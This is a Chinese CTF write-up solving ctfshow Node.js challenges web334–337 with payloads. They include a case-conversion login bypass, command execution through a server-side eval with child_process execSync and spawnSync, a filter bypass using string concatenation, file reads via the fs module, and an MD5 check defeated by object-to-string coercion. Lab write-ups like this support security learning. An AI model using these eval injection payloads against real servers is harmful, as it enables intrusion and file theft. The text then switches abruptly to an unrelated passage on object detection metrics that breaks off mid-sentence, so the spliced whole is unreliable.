ctfshow-nodejs

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {
  items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象
    {username: 'CTFSHOW', password: '123456'}
  ]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
 //通过 req.session 创建或获取当前会话的 Session 对象
  var sess = req.session;
  //获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给user
  var user = findUser(req.body.username, req.body.password);
 //如果user存在 执行代码
 //重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,
 //以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       //将用户对象的用户名赋值给会话对象的 loginUser 属性
      req.session.loginUser = user.username;
	  //返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});
module.exports = router;

前端的js

<script>
    $('.btn').click(function(){
        login();//如果点击btn类名的元素时执行login函数
    });
    function login(){ 
        $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置
            url:'/login',
            type:'post',
            data:{
                username:$('#username').val(),
                password:$('#password').val()
            },
            //数据包返回 会将数据先解析为json格式 然后进行判断
            success:function(data){
                data = JSON.parse(data);
                if(data.ret_code===0){
                   alert(data.ret_flag);
                }else{
                    alert(data.ret_msg);
                }                
            }
        });
    }
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  //判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

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1 目标检测的定义 目标检测(Object Detection)的任务是找出图像中所有感兴趣的目标(物体),确定它们的类别和位置,是计算机视觉领域的核心问题之一。由于各类物体有不同的外观、形状和姿态,加上成像时光照、遮挡等因素的干扰,目标检测一直是计算机视觉领域最具有挑战性的问题。 目标检测任务可分为两个关键的子任务,目标定位和目标分类。首先检测图像中目标的位置(目标定位),然后给出每个目标的具体类别(目标分类)。输出结果是一个边界框(称为Bounding-box,一般形式为(x1,y1,x2,y2),表示框的左上角坐标和右下角坐标),一个置信度分数(Confidence Score),表示边界框中是否包含检测对象的概率和各个类别的概率(首先得到类别概率,经过Softmax可得到类别标签)。 1.1 Two stage方法 目前主流的基于深度学习的目标检测算法主要分为两类:Two stage和One stage。Two stage方法将目标检测过程分为两个阶段。第一个阶段是 Region Proposal 生成阶段,主要用于生成潜在的目标候选框(Bounding-box proposals)。这个阶段通常使用卷积神经网络(CNN)从输入图像中提取特征,然后通过一些技巧(如选择性搜索)来生成候选框。第二个阶段是分类和位置精修阶段,将第一个阶段生成的候选框输入到另一个 CNN 中进行分类,并根据分类结果对候选框的位置进行微调。Two stage 方法的优点是准确度较高,缺点是速度相对较慢。 常见Tow stage目标检测算法有:R-CNN系列、SPPNet等。 1.2 One stage方法 One stage方法直接利用模型提取特征值,并利用这些特征值进行目标的分类和定位,不需要生成Region Proposal。这种方法的优点是速度快,因为省略了Region Proposal生成的过程。One stage方法的缺点是准确度相对较低,因为它没有对潜在的目标进行预先筛选。 常见的One stage目标检测算法有:YOLO系列、SSD系列和RetinaNet等。 2 常见名词解释 2.1 NMS(Non-Maximum Suppression) 目标检测模型一般会给出目标的多个预测边界框,对成百上千的预测边界框都进行调整肯定是不可行的,需要对这些结果先进行一个大体的挑选。NMS称为非极大值抑制,作用是从众多预测边界框中挑选出最具代表性的结果,这样可以加快算法效率,其主要流程如下: 设定一个置信度分数阈值,将置信度分数小于阈值的直接过滤掉 将剩下框的置信度分数从大到小排序,选中值最大的框 遍历其余的框,如果和当前框的重叠面积(IOU)大于设定的阈值(一般为0.7),就将框删除(超过设定阈值,认为两个框的里面的物体属于同一个类别) 从未处理的框中继续选一个置信度分数最大的,重复上述过程,直至所有框处理完毕 2.2 IoU(Intersection over Union) 定义了两个边界框的重叠度,当预测边界框和真实边界框差异很小时,或重叠度很大时,表示模型产生的预测边界框很准确。边界框A、B的IOU计算公式为: 2.3 mAP(mean Average Precision) mAP即均值平均精度,是评估目标检测模型效果的最重要指标,这个值介于0到1之间,且越大越好。mAP是AP(Average Precision)的平均值,那么首先需要了解AP的概念。想要了解AP的概念,还要首先了解目标检测中Precision和Recall的概念。 首先我们设置置信度阈值(Confidence Threshold)和IoU阈值(一般设置为0.5,也会衡量0.75以及0.9的mAP值): 当一个预测边界框被认为是True Positive(TP)时,需要同时满足下面三个条件: Confidence Score > Confidence Threshold 预测类别匹配真实值(Ground truth)的类别 预测边界框的IoU大于设定的IoU阈值 不满足条件2或条件3,则认为是False Positive(FP)。当对应同一个真值有多个预测结果时,只有最高置信度分数的预测结果被认为是True Positive,其余被认为是False Positive。 Precision和Recall的概念如下图所示: Precision表示TP与预测边界框数量的比值 Recall表示TP与真实边界框数量的比值 改变不同的置信度阈值,可以获得多组Precision和Recall,Recall放X轴,Precision放Y轴,可以画出一个Precision-Recall曲线,简称P-R
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